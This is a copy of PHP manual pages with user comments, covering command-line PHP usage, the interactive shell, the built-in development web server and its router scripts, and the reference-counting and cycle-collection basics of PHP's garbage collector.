date.default_latitude => 59.930972 => 59.930972
date.default_longitude => 10.776699 => 10.776699
date.sunset_zenith => 90.583333 => 90.583333
date.sunrise_zenith => 90.583333 => 90.583333

Note:

Options -rBRFEH, --ini and --r[fcezi] are available only in CLI.

User Contributed Notes

Ap.Muthu 04-Oct-2014 12:08
If we start the php's built in webserver (PHP v5.4 onwards) with:
        php -S localhost:8000 -t htdocs
and have an image file picture.jpg in it
and reference it in a html page with:
         <img src="picture.jpg">
the rendered page will not show the image and the html code behind the image is:
        http://localhost:8000/index.php/picture.jpg

If however, the html code in the page is:
         <img src="/picture.jpg">
the picture displays correctly.

Hence relative addressing is broken in PHP 5.4.33 Win32 VC9 build.


Executing PHP files

There are three different ways of supplying the CLI SAPI with PHP code to be executed:

  1. Tell PHP to execute a certain file.

    $ php my_script.php

$ php -f my_script.php

    Both ways (whether using the -f switch or not) execute the file my_script.php. Note that there is no restriction on which files can be executed; in particular, the filename is not required have a .php extension.

    Note:

    If arguments need to be passed to the script when using -f , the first argument must be --.

  2. Pass the PHP code to execute directly on the command line.

    $ php -r 'print_r(get_defined_constants());'

    Special care has to be taken with regard to shell variable substitution and usage of quotes.

    Note:

    Read the example carefully: there are no beginning or ending tags! The -r switch simply does not need them, and using them will lead to a parse error.

  3. Provide the PHP code to execute via standard input (stdin).

    This gives the powerful ability to create PHP code dynamically and feed it to the binary, as shown in this (fictional) example:

    $ some_application | some_filter | php | sort -u > final_output.txt
You cannot combine any of the three ways to execute code.

As with every shell application, the PHP binary accepts a number of arguments; however, the PHP script can also receive further arguments. The number of arguments that can be passed to your script is not limited by PHP (and although the shell has a limit to the number of characters which can be passed, this is not in general likely to be hit). The arguments passed to the script are available in the global array $argv. The first index (zero) always contains the name of the script as called from the command line. Note that, if the code is executed in-line using the command line switch -r , the value of $argv[0] will be just a dash (-). The same is true if the code is executed via a pipe from STDIN.

A second global variable, $argc, contains the number of elements in the $argv array (not the number of arguments passed to the script).

As long as the arguments to be passed to the script do not start with the - character, there's nothing special to watch out for. Passing an argument to the script which starts with a - will cause trouble because the PHP interpreter thinks it has to handle it itself, even before executing the script. To prevent this, use the argument list separator --. After this separator has been parsed by PHP, every following argument is passed untouched to the script.

# This will not execute the given code but will show the PHP usage
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# This will pass the '-h' argument to the script and prevent PHP from showing its usage
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

However, on Unix systems there's another way of using PHP for shell scripting: make the first line of the script start with #!/usr/bin/php (or whatever the path to your PHP CLI binary is if different). The rest of the file should contain normal PHP code within the usual PHP starting and end tags. Once the execution attributes of the file are set appropriately (e.g. chmod +x test), the script can be executed like any other shell or perl script:

Example #1 Execute PHP script as shell script

#!/usr/bin/php
<?php
var_dump($argv);
?>

Assuming this file is named test in the current directory, it is now possible to do the following:

$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

As can be seen, in this case no special care needs to be taken when passing parameters starting with -.

The PHP executable can be used to run PHP scripts absolutely independent of the web server. On Unix systems, the special #! (or "shebang") first line should be added to PHP scripts so that the system can automatically tell which program should run the script. On Windows platforms, it's possible to associate php.exe with the double click option of the .php extension, or a batch file can be created to run scripts through PHP. The special shebang first line for Unix does no harm on Windows (as it's formatted as a PHP comment), so cross platform programs can be written by including it. A simple example of writing a command line PHP program is shown below.

Example #2 Script intended to be run from command line (script.php)

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

This is a command line PHP script with one option.

  Usage:
  <?php echo $argv[0]; ?> <option>

  <option> can be some word you would like
  to print out. With the --help, -help, -h,
  or -? options, you can get this help.

<?php
} else {
    echo $argv[1];
}
?>

The script above includes the Unix shebang first line to indicate that this file should be run by PHP. We are working with a CLI version here, so no HTTP headers will be output.

The program first checks that there is the required one argument (in addition to the script name, which is also counted). If not, or if the argument was --help , -help , -h or -? , the help message is printed out, using $argv[0] to dynamically print the script name as typed on the command line. Otherwise, the argument is echoed out exactly as received.

To run the above script on Unix, it must be made executable, and called simply as script.php echothis or script.php -h. On Windows, a batch file similar to the following can be created for this task:

Example #3 Batch file to run a command line PHP script (script.bat)

@echo OFF
"C:\php\php.exe" script.php %*

Assuming the above program is named script.php, and the CLI php.exe is in C:\php\php.exe, this batch file will run it, passing on all appended options: script.bat echothis or script.bat -h.

See also the Readline extension documentation for more functions which can be used to enhance command line applications in PHP.

On Windows, PHP can be configured to run without the need to supply the C:\php\php.exe or the .php extension, as described in Command Line PHP on Microsoft Windows.

User Contributed Notes

php at richardneill dot org 01-Apr-2013 01:43
On Linux, the shebang (#!) line is parsed by the kernel into at most two parts.
For example:

1:  #!/usr/bin/php
2:  #!/usr/bin/env  php
3:  #!/usr/bin/php -n
4:  #!/usr/bin/php -ddisplay_errors=E_ALL
5:  #!/usr/bin/php -n -ddisplay_errors=E_ALL

1. is the standard way to start a script. (compare "#!/bin/bash".)

2. uses "env" to find where PHP is installed: it might be elsewhere in the $PATH, such as /usr/local/bin.

3. if you don't need to use env, you can pass ONE parameter here. For example, to ignore the system's PHP.ini, and go with the defaults, use "-n". (See "man php".)

4.  or, you can set exactly one configuration variable. I recommend this one, because display_errors actually takes effect if it is set here. Otherwise, the only place you can enable it is system-wide in php.ini. If you try to use ini_set() in your script itself, it's too late: if your script has a parse error, it will silently die.

5. This will not (as of 2013) work on Linux. It acts as if the whole string, "-n -ddisplay_errors=E_ALL" were a single argument. But in BSD, the shebang line can take more than 2 arguments, and so it may work as intended.

Summary: use (2) for maximum portability, and (4) for maximum debugging.
andrew-by at hotmail dot com 19-Oct-2011 06:59
If you want your batch file's window stay opened after executing the PHP script just add "pause" at the last line. So it should look like:

@echo OFF
"C:\php\php.exe" script.php %*
pause
petruzanautico at yah00 dot com dot ar 17-Aug-2011 10:06
As you can't use -r and -f together, you can circumvent this by doing the following:
php -r '$foo = 678; include("your_script.php");'
spencer at aninternetpresence dot net 08-Aug-2011 02:03
If you are running the CLI on Windows and use the "-r" option, be sure to enclose your PHP code in double (not single) quotes. Otherwise, your code will not run.


Input/output streams

The CLI SAPI defines a few constants for I/O streams to make programming for the command line a bit easier.

CLI specific Constants
Constant Description
STDIN

An already opened stream to stdin. This saves opening it with

<?php
$stdin = fopen('php://stdin', 'r');
?>
If you want to read single line from stdin, you can use
<?php
$line = trim(fgets(STDIN)); // reads one line from STDIN
fscanf(STDIN, "%d\n", $number); // reads number from STDIN
?>

STDOUT

An already opened stream to stdout. This saves opening it with

<?php
$stdout = fopen('php://stdout', 'w');
?>

STDERR

An already opened stream to stderr. This saves opening it with

<?php
$stderr = fopen('php://stderr', 'w');
?>

Given the above, you don't need to open e.g. a stream for stderr yourself but simply use the constant instead of the stream resource:

php -r 'fwrite(STDERR, "stderr\n");'
You do not need to explicitly close these streams, as they are closed automatically by PHP when your script ends.

Note:

These constants are not available if reading the PHP script from stdin.

User Contributed Notes

ecrist at secure-computing dot net 27-Jul-2011 05:15
The following code shows how to test for input on STDIN.  In this case, we were looking for CSV data, so we use fgetcsv to read STDIN, if it creates an array, we assume CVS input on STDIN, if no array was created, we assume there's no input from STDIN, and look, later, to an argument with a CSV file name.

Note, without the stream_set_blocking() call, fgetcsv() hangs on STDIN, awaiting input from the user, which isn't useful as we're looking for a piped file. If it isn't here already, it isn't going to be.

<?php
stream_set_blocking(STDIN, 0);
$csv_ar = fgetcsv(STDIN);
if (is_array($csv_ar)){
  print "CVS on STDIN\n";
} else {
  print "Look to ARGV for CSV file name.\n";
}
?>
Aurelien Marchand 04-Mar-2011 05:10
Please remember in multi-process applications (which are best suited under CLI), that I/O operations often will BLOCK signals from being processed.

For instance, if you have a parent waiting on fread(STDIN), it won't handle SIGCHLD, even if you defined a signal handler for it, until after the call to fread has returned.

Your solution in this case is to wait on stream_select() to find out whether reading will block. Waiting on stream_select(), critically, does NOT BLOCK signals from being processed.

Aurelien
James Zhu 09-Dec-2010 10:45
Example:

<?php
function ReadStdin($prompt, $valid_inputs, $default = '') {
    while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
        echo $prompt;
        $input = strtolower(trim(fgets(STDIN)));
        if(empty($input) && !empty($default)) {
            $input = $default;
        }
    }
    return $input;
}

// you can input <Enter> or 1, 2, 3
$choice = ReadStdin('Please choose your answer or press Enter to continue: ', array('', '1', '2', '3'));

// check input is valid file name, use /var/path for input nothing
$file = ReadStdin('Please input the file name(/var/path):', 'is_file', '/var/path');
?>

you can add more functions if you want.


Interactive shell

As of PHP 5.1.0, the CLI SAPI provides an interactive shell using the -a option if PHP is compiled with the --with-readline option.

Using the interactive shell you are able to type PHP code and have it executed directly.

Example #1 Executing code using the interactive shell

$ php -a
Interactive shell

php > echo 5+8;
13
php > function addTwo($n)
php > {
php { return $n + 2;
php { }
php > var_dump(addtwo(2));
int(4)
php >

The interactive shell also features tab completion for functions, constants, class names, variables, static method calls and class constants.

Example #2 Tab completion

Pressing the tab key twice when there are multiple possible completions will result in a list of these completions:

php > strp[TAB][TAB]
strpbrk   strpos    strptime
php > strp

When there is only one possible completion, pressing tab once will complete the rest on the same line:

php > strpt[TAB]ime(

Completion will also work for names that have been defined during the current interactive shell session:

php > $fooThisIsAReallyLongVariableName = 42;
php > $foo[TAB]ThisIsAReallyLongVariableName

The interactive shell stores your history which can be accessed using the up and down keys. The history is saved in the ~/.php_history file.

As of PHP 5.4.0, the CLI SAPI provides the php.ini settings cli.pager and cli.prompt. The cli.pager setting allows an external program (such as less) to act as a pager for the output instead of being displayed directly on the screen. The cli.prompt setting makes it possible to change the php > prompt.

In PHP 5.4.0 it was also made possible to set php.ini settings in the interactive shell using a shorthand notation.

Example #3 Setting php.ini settings in the interactive shell

The cli.prompt setting:

php > #cli.prompt=hello world :>
hello world :>

Using backticks it is possible to have PHP code executed in the prompt:

php > #cli.prompt=`echo date('H:i:s');` php >
15:49:35 php > echo 'hi';
hi
15:49:43 php > sleep(2);
15:49:45 php >

Setting the pager to less:

php > #cli.pager=less
php > phpinfo();
(output displayed in less)
php >

The cli.prompt setting supports a few escape sequences:

cli.prompt escape sequences
Sequence | Description
\e | Used for adding colors to the prompt. An example could be \e[032m\v \e[031m\b \e[34m\> \e[0m
\v | The PHP version.
\b | Indicates which block PHP is in. For instance /* to indicate being inside a multi-line comment. The outer scope is denoted by php.
\> | Indicates the prompt character. By default this is >, but changes when the shell is inside an unterminated block or string. Possible characters are: ' " { ( >

Note:

Files included through auto_prepend_file and auto_append_file are parsed in this mode but with some restrictions - e.g. functions have to be defined before called.

Note:

Autoloading is not available if using PHP in CLI interactive mode.

User Contributed Notes

elijah at elijahlynn dot net 16-Oct-2014 05:04
Bug #55496 Interactive mode doesn't force a newline before the prompt => https://bugs.php.net/bug.php?id=55496

Fixed on July 24th, 2014 @ http://git.php.net/?p=php-src.git;a=commit;h=71d3a69425449972f4efdf7228c6f7e49e090755

Until then, this will work:

php -dcli.prompt="\nphp> " -a
Shane Harter 01-Jul-2013 04:53
If you've ever wanted to build your own interactive shell, I released a project recently that makes it insanely easy to build awesome shell apps in PHP. It blends features from Zend2 and Symonfy2 with things like regex routing, state management, etc. Check it out here:

https://github.com/shaneharter/sheldon
Ryan P 22-Mar-2012 07:03
Interactive Shell and Interactive Mode are not the same thing, despite the similar names and functionality.

If you type 'php -a' and get a response of 'Interactive Shell' followed by a 'php>' prompt, you have interactive shell available (PHP was compiled with readline support). If instead you get a response of 'Interactive mode enabled', you DO NOT have interactive shell available and this article does not apply to you.

You can also check 'php -m' and see if readline is listed in the output - if not, you don't have interactive shell.

Interactive mode is essentially like running php with stdin as the file input. You just type code, and when you're done (Ctrl-D), php executes whatever you typed as if it were a normal PHP (PHTML) file - hence you start in interactive mode with '<?php' in order to execute code.

Interactive shell evaluates every expression as you complete it (with ; or }), reports errors without terminating execution, and supports standard shell functionality via readline (history, tab completion, etc). It's an enhanced version of interactive mode that is ONLY available if you have the required libraries, and is an actual PHP shell that interprets everything you type as PHP code - using '<?php' will cause a parse error.

Finally, if you're running on Windows, you're probably screwed. From what I'm seeing in other comments here, you don't have readline, and without readline there is no interactive shell.
lee8oi at gmail dot com 11-Mar-2012 01:06
I use git-bash in windows to connect to my servers via SSH. When I use the interactive mode via 'php -a' command I have to hit ctrl+d twice to execute the entered code. Example:
(<ctrl+d> denotes hitting ctrl & D)

-bash$ php -a
Interactive mode enabled
<?php
echo 'hello world';
?><br />
<ctrl+d>
<ctrl+d>
hello world<br />
-bash$

Note: this still displays the <br /> tag but without the tag your output would likely be attached to your bash prompt like this:

hello world-bash$
spencer at aninternetpresence dot net 10-Sep-2011 07:45
In Windows, press Enter after your ending PHP tag and then hit Ctrl-Z to denote the end-of-file:

C:\>php -a
Interactive mode enabled

<?php
echo "Hello, world!";
?>
^Z
Hello, world!

You can use the up and down arrows in interactive mode to recall previous code you ran.
alexandrebr at gmail dot com 30-Jun-2011 11:55
For those who (just like me) can't get it working, try to press CTRL+D after inserting some commands.

Example:
php
<?php
echo "Hello World!\r\n";
(Hit CTRL+D here)
Hello World!

This is NOT interactive mode, but may help you.

To have the "-i" available, you'll need the following arguments while compiling PHP:
--with-readline e --with-libedit
xEviL 17-Jan-2011 02:17
When building php on FreeBSD from ports one can add --with-readline option by manually editing the var CONFIGURE_ARGS in Makefile inside the php port directory and proceeding with build as usual.
Anonymous 29-Jun-2010 12:41
It seems the interactive shell cannot be made to work in WIN environments at the moment.

Using "php://stdin", it shouldn't be too difficult to roll your own.  You can partially mimic the shell by calling this simple script (Note: Window's cmd already has an input history calling feature using the up/down keys, and that functionality will still be available during execution here):

<?php

$fp = fopen("php://stdin", "r");
$in = '';
while($in != "quit") {
    echo "php> ";
    $in=trim(fgets($fp));
    eval ($in);
    echo "\n";
    }

?>

Replace 'eval' with code to parse the input string, validate it using is_callable and other variable handling functions, catch fatal errors before they happen, allow line-by-line function defining, etc.  Though Readline is not available in Windows, for more tips and examples for workarounds, see http://www.php.net/manual/en/ref.readline.php
Anonymous 20-Jun-2010 09:56
Just a few more notes to add...

1) Hitting return does literally mean "execute this command".  Semicolon to note end of line is still required.  Meaning, doing the following will produce a parse error:

php > print "test"
php > print "asdf";

Whereas doing the following is just fine:

php > print "test"
php > ."asdf";

2) Fatal errors may eject you from the shell:

name@local:~$ php -a
php > asdf();

Fatal Error: call to undefined function...
name@local:~$

3) User defined functions are not saved in history from shell session to shell session.

4) Should be obvious, but to quit the shell, just type "quit" at the php prompt.

5) In a sense, the shell interaction can be thought of as linearly following a regular php file, except it's live and dynamic.  If you define a function that you've already defined earlier in your current shell, you will receive a fatal "function already defined" error only upon entering that closing bracket.  And, although "including" a toolset of custom functions or a couple of script addon php files is rather handy, should you edit those files and wish to "reinclude" it again, you'll cause a fatal "function x already defined" error.


Built-in web server

Warning

This web server was designed to aid application development. It may also be useful for testing purposes or for application demonstrations that are run in controlled environments. It is not intended to be a full-featured web server. It should not be used on a public network.

As of PHP 5.4.0, the CLI SAPI provides a built-in web server.

PHP applications will stall if a request is blocked.

URI requests are served from the current working directory where PHP was started, unless the -t option is used to specify an explicit document root. If a URI request does not specify a file, then either index.php or index.html in the given directory are returned. If neither file exists, then a 404 response code is returned.

If a PHP file is given on the command line when the web server is started it is treated as a "router" script. The script is run at the start of each HTTP request. If this script returns FALSE, then the requested resource is returned as-is. Otherwise the script's output is returned to the browser.

Standard MIME types are returned for files with extensions: .3gp, .apk, .avi, .bmp, .css, .csv, .doc, .docx, .flac, .gif, .gz, .gzip, .htm, .html, .ics, .jpe, .jpeg, .jpg, .js, .kml, .kmz, .m4a, .mov, .mp3, .mp4, .mpeg, .mpg, .odp, .ods, .odt, .oga, .ogg, .ogv, .pdf, .pdf, .png, .pps, .pptx, .qt, .svg, .swf, .tar, .text, .tif, .txt, .wav, .webm, .wmv, .xls, .xlsx, .xml, .xsl, .xsd, and .zip.

Changelog: Supported MIME Types (file extensions)
Version | Description
5.5.12 | .xml, .xsl, and .xsd
5.5.7 | .3gp, .apk, .avi, .bmp, .csv, .doc, .docx, .flac, .gz, .gzip, .ics, .kml, .kmz, .m4a, .mp3, .mp4, .mpg, .mpeg, .mov, .odp, .ods, .odt, .oga, .pdf, .pptx, .pps, .qt, .swf, .tar, .text, .tif, .wav, .wmv, .xls, .xlsx, and .zip
5.5.5 | .pdf
5.4.11 | .ogg, .ogv, and .webm
5.4.4 | .htm and .svg

Example #1 Starting the web server

$ cd ~/public_html
$ php -S localhost:8000

The terminal will show:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit

After URI requests for http://localhost:8000/ and http://localhost:8000/myscript.html the terminal will show something similar to:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:48:48 2011] ::1:39144 GET /favicon.ico - Request read
[Thu Jul 21 10:48:50 2011] ::1:39146 GET / - Request read
[Thu Jul 21 10:48:50 2011] ::1:39147 GET /favicon.ico - Request read
[Thu Jul 21 10:48:52 2011] ::1:39148 GET /myscript.html - Request read
[Thu Jul 21 10:48:52 2011] ::1:39149 GET /favicon.ico - Request read

Example #2 Starting with a specific document root directory

$ cd ~/public_html
$ php -S localhost:8000 -t foo/

The terminal will show:

PHP 5.4.0 Development Server started at Thu Jul 21 10:50:26 2011
Listening on localhost:8000
Document root is /home/me/public_html/foo
Press Ctrl-C to quit

Example #3 Using a Router Script

In this example, requests for images will display them, but requests for HTML files will display "Welcome to PHP":

<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
    return false;    // serve the requested resource as-is.
} else {
    echo "<p>Welcome to PHP</p>";
}
?>
$ php -S localhost:8000 router.php

Example #4 Checking for CLI Web Server Use

To reuse a framework router script during development with the CLI web server and later also with a production web server:

<?php
// router.php
if (php_sapi_name() == 'cli-server') {
    /* route static assets and return false */
}
/* go on with normal index.php operations */
?>
$ php -S localhost:8000 router.php

Example #5 Handling Unsupported File Types

If you need to serve a static resource whose MIME type is not handled by the CLI web server, use:

<?php
// router.php
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
if ($path["extension"] == "el") {
    header("Content-Type: text/x-script.elisp");
    readfile($_SERVER["SCRIPT_FILENAME"]);
}
else {
    return FALSE;
}
?>
$ php -S localhost:8000 router.php

Example #6 Accessing the CLI Web Server From Remote Machines

You can make the web server accessible on port 8000 to any interface with:

$ php -S 0.0.0.0:8000

User Contributed Notes

Tan 14-Oct-2014 08:19
Is there anyway to unassign the port used?
tamas at bartatamas dot hu 13-Oct-2014 11:19
If your URI contains a dot, you'll lose the $_SERVER['PATH_INFO'] variable, when using the built-in webserver.
I wanted to write an API, and use .json ending in the URI-s, but then the framework's routing mechanism broke, and it took a lot of time to discover that the reason behind it was its router relying on $_SERVER['PATH_INFO'].

References:
https://bugs.php.net/bug.php?id=61286
Anonymous 10-Oct-2014 04:19
PLEASE provide a means to disable this.
sixd at php dot net 17-Apr-2014 01:38
The .xml, .xsl, and .xsd extensions were added to PHP 5.5.12 (and what will be PHP 5.6) (bug #67079 )
shenzhuxi at gmail dot com 27-Feb-2014 07:51
How to avoid this error.

This page contains the following errors:
error on line XX at column X: Extra content at the end of the document
Below is a rendering of the page up to the first error.

<?php
$path = pathinfo($_SERVER["SCRIPT_FILENAME"]);
if ($path['extension']=='xhtml') {
  header('Content-Type: application/xhtml+xml;charset=utf-8');
  readfile($_SERVER["SCRIPT_FILENAME"]);
  exit;//Without it, the file will be output twice.
}
?>
tobi at saibotd dot com 27-Feb-2014 02:34
A more complete example of a router file:

<?php
// router.php

$route = parse_url(substr($_SERVER["REQUEST_URI"], 1))["path"];

if (is_file($route)) {
    if(substr($route, -4) == ".php"){
        require $route;         // Include requested script files
        exit;
    }
    return false;               // Serve file as is
} else {                        // Fallback to index.php
    $_GET["q"] = $route;        // Try to emulate the behaviour of your htaccess here, if needed
    require "index.php";
}

This should give you a basic development enviroment.
jonathan at reinink dot ca 23-Jan-2014 12:26
In order to set project specific configuration options, simply add a php.ini file to your project, and then run the built-in server with this flag:

php -S localhost:8000 -c php.ini

This is especially helpful for settings that cannot be set at runtime (ini_set()).
Ivan Ferrer 11-Jul-2013 05:03
On Windows you may find useful to have a phpserver.bat file in shell:sendto with the folowing:
explorer http://localhost:8888
rem check if arg is file or dir
if exist "%~1\" (
  php -S localhost:8888 -t "%~1"
) else (
  php -S localhost:8888 -t "%~dp1"
)

then for fast web testing you only have to SendTo a file or folder to this bat and it will open your explorer and run the server.
dstrout at dstrout dot net 18-Apr-2013 02:16
Just gave it a try, and it is IPv6 compatible, if anyone was wondering.
Stefano F. Rausch 09-Mar-2012 09:25
To develop / deploy websites in 3 stages, i.e. ( 1 ) locally, ( 2 ) with an access controlled dedicated beta / test website in the www and ( 3 ) the production site, you can have ( 1 ) & ( 2 ) using the same domain name - port free - as follows:

- look up the IP address of the beta.web.site

and edit the hosts file to reflect:

- <IP> beta.web.site
- 127.0.0.1 beta.web.site

Start the built-in web server to work locally with:

- sudo php -S beta.web.site:80

and just hit http://beta.web.site as usual. Switching back and forth between ( 1 ) and ( 2 ) is as easy as telling the php engine not to fake a server any more :) Nice!

Happy PHP'ing.


INI settings

CLI SAPI Configuration Options
Name | Default | Changeable | Changelog
cli_server.color | "0" | PHP_INI_ALL | Available since PHP 5.4.0.

Here's a short explanation of the configuration directives.

cli_server.color boolean

Enable the built-in development web server to use ANSI color coding in terminal output.

User Contributed Notes

There are no user contributed notes for this page.


Garbage Collection

Table of Contents

  • Reference Counting Basics
  • Collecting Cycles
  • Performance Considerations

This section explains the merits of the new Garbage Collection (also known as GC) mechanism that is part of PHP 5.3.

User Contributed Notes

There are no user contributed notes for this page.


Reference Counting Basics

A PHP variable is stored in a container called a "zval". A zval container contains, besides the variable's type and value, two additional bits of information. The first is called "is_ref" and is a boolean value indicating whether or not the variable is part of a "reference set". With this bit, PHP's engine knows how to differentiate between normal variables and references. Since PHP allows user-land references, as created by the & operator, a zval container also has an internal reference counting mechanism to optimize memory usage. This second piece of additional information, called "refcount", contains how many variable names (also called symbols) point to this one zval container. All symbols are stored in a symbol table, of which there is one per scope. There is a scope for the main script (i.e., the one requested through the browser), as well as one for every function or method.

A zval container is created when a new variable is created with a constant value, such as:

Example #1 Creating a new zval container

<?php
$a = "new string";
?>

In this case, the new symbol name, a, is created in the current scope, and a new variable container is created with the type string and the value new string. The "is_ref" bit is by default set to FALSE because no user-land reference has been created. The "refcount" is set to 1 as there is only one symbol that makes use of this variable container. Note that if "refcount" is 1, "is_ref" is always FALSE. If you have » Xdebug installed, you can display this information by calling xdebug_debug_zval().

Example #2 Displaying zval information

<?php
xdebug_debug_zval('a');
?>

The above example will output:

a: (refcount=1, is_ref=0)='new string'

Assigning this variable to another variable name will increase the refcount.

Example #3 Increasing refcount of a zval

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
?>

The above example will output:

a: (refcount=2, is_ref=0)='new string'

The refcount is 2 here, because the same variable container is linked with both a and b. PHP is smart enough not to copy the actual variable container when it is not necessary. Variable containers get destroyed when the "refcount" reaches zero. The "refcount" gets decreased by one when any symbol linked to the variable container leaves the scope (e.g. when the function ends) or when unset() is called on a symbol. The following example shows this:

Example #4 Decreasing zval refcount

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
unset( $b, $c );
xdebug_debug_zval( 'a' );
?>

The above example will output:

a: (refcount=3, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'

If we now call unset($a);, the variable container, including the type and value, will be removed from memory.

Compound Types

Things get a tad more complex with compound types such as arrays and objects. As opposed to scalar values, arrays and objects store their properties in a symbol table of their own. This means that the following example creates three zval containers:

Example #5 Creating a array zval

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=1, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42
)

Or graphically

Zvals for a simple array

The three zval containers are: a, meaning, and number. Similar rules apply for increasing and decreasing "refcounts". Below, we add another element to the array, and set its value to the contents of an already existing element:

Example #6 Adding already existing element to an array

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=2, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42,
   'life' => (refcount=2, is_ref=0)='life'
)

Or graphically

Zvals for a simple array with a reference

From the above Xdebug output, we see that both the old and new array elements now point to a zval container whose "refcount" is 2. Although Xdebug's output shows two zval containers with value 'life', they are the same one. The xdebug_debug_zval() function does not show this, but you could see it by also displaying the memory pointer.

Removing an element from the array is like removing a symbol from a scope. By doing so, the "refcount" of a container that an array element points to is decreased. Again, when the "refcount" reaches zero, the variable container is removed from memory. Again, an example to show this:

Example #7 Removing an element from an array

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
unset( $a['meaning'], $a['number'] );
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'life' => (refcount=1, is_ref=0)='life'
)

Now, things get interesting if we add the array itself as an element of the array, which we do in the next example, in which we also sneak in a reference operator, since otherwise PHP would create a copy:

Example #8 Adding the array itself as an element of it self

<?php
$a = array( 'one' );
$a[] =& $a;
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Or graphically

Zvals for an array with a circular reference

You can see that the array variable (a) as well as the second element (1) now point to a variable container that has a "refcount" of 2. The "..." in the display above shows that there is recursion involved, which, of course, in this case means that the "..." points back to the original array.

Just like before, unsetting a variable removes the symbol, and the reference count of the variable container it points to is decreased by one. So, if we unset variable $a after running the above code, the reference count of the variable container that $a and element "1" point to gets decreased by one, from "2" to "1". This can be represented as:

Example #9 Unsetting $a

(refcount=1, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=1, is_ref=1)=...
)

Or graphically

Zvals after removal of array with a circular reference demonstrating the memory leak

Cleanup Problems

Although there is no longer a symbol in any scope pointing to this structure, it cannot be cleaned up because the array element "1" still points to this same array. Because there is no external symbol pointing to it, there is no way for a user to clean up this structure; thus you get a memory leak. Fortunately, PHP will clean up this data structure at the end of the request, but before then, this is taking up valuable space in memory. This situation happens often if you're implementing parsing algorithms or other things where you have a child point back at a "parent" element. The same situation can also happen with objects of course, where it actually is more likely to occur, as objects are always implicitly used by reference.

This might not be a problem if this only happens once or twice, but if there are thousands, or even millions, of these memory losses, this obviously starts being a problem. This is especially problematic in long running scripts, such as daemons where the request basically never ends, or in large sets of unit tests. The latter caused problems while running the unit tests for the Template component of the eZ Components library. In some cases, it would require over 2 GB of memory, which the test server didn't quite have.

User Contributed Notes

There are no user contributed notes for this page.


Collecting Cycles

Traditionally, reference counting memory mechanisms, such as that used previously by PHP, fail to address circular reference memory leaks. As of 5.3.0 PHP however implements the synchronous algorithm from the » Concurrent Cycle Collection in Reference Counted Systems paper which addresses that issue.

A full explanation of how the algorithm works would be slightly beyond the scope of this section, but the basics are explained here. First of all, we have to establish a few ground rules. If a refcount is increased, it's still in use and therefore, not garbage. If the refcount is decreased and hits zero, the zval can be freed. This means that garbage cycles can only be created when a refcount argument is decreased to a non-zero value. Secondly, in a garbage cycle, it is possible to discover which parts are garbage by checking whether it is possible to decrease their refcount by one, and then checking which of the zvals have a refcount of zero.

Garbage collection algorithm

To avoid having to call the checking of garbage cycles with every possible decrease of a refcount, the algorithm instead puts all possible roots (zvals) in the "root buffer" (marking them "purple"). It also makes sure that each possible garbage root ends up in the buffer only once. Only when the root buffer is full does the collection mechanism start for all the different zvals inside. See step A in the figure above.

In step B, the algorithm runs a depth-first search on all possible roots to decrease by one the refcounts of each zval it finds, making sure not to decrease a refcount on the same zval twice (by marking them as "grey"). In step C, the algorithm again runs a depth-first search from each root node, to check the refcount of each zval again. If it finds that the refcount is zero, the zval is marked "white" (blue in the figure). If it's larger than zero, it reverts the decreasing of the refcount by one with a depth-first search from that point on, and they are marked "black" again. In the last step (D), the algorithm walks over the root buffer removing the zval roots from there, and meanwhile, checks which zvals have been marked "white" in the previous step. Every zval marked as "white" will be freed.

Now that you have a basic understanding of how the algorithm works, we will look back at how this integrates with PHP. By default, PHP's garbage collector is turned on. There is, however, a php.ini setting that allows you to change this: zend.enable_gc.

When the garbage collector is turned on, the cycle-finding algorithm as described above is executed whenever the root buffer runs full. The root buffer has a fixed size of 10,000 possible roots (although you can alter this by changing the GC_ROOT_BUFFER_MAX_ENTRIES constant in Zend/zend_gc.c in the PHP source code, and re-compiling PHP). When the garbage collector is turned off, the cycle-finding algorithm will never run. However, possible roots will always be recorded in the root buffer, no matter whether the garbage collection mechanism has been activated with this configuration setting.

If the root buffer becomes full with possible roots while the garbage collection mechanism is turned off, further possible roots will simply not be recorded. Those possible roots that are not recorded will never be analyzed by the algorithm. If they were part of a circular reference cycle, they would never be cleaned up and would create a memory leak.

The reason why possible roots are recorded even if the mechanism has been disabled is because it's faster to record possible roots than to have to check whether the mechanism is turned on every time a possible root could be found. The garbage collection and analysis mechanism itself, however, can take a considerable amount of time.

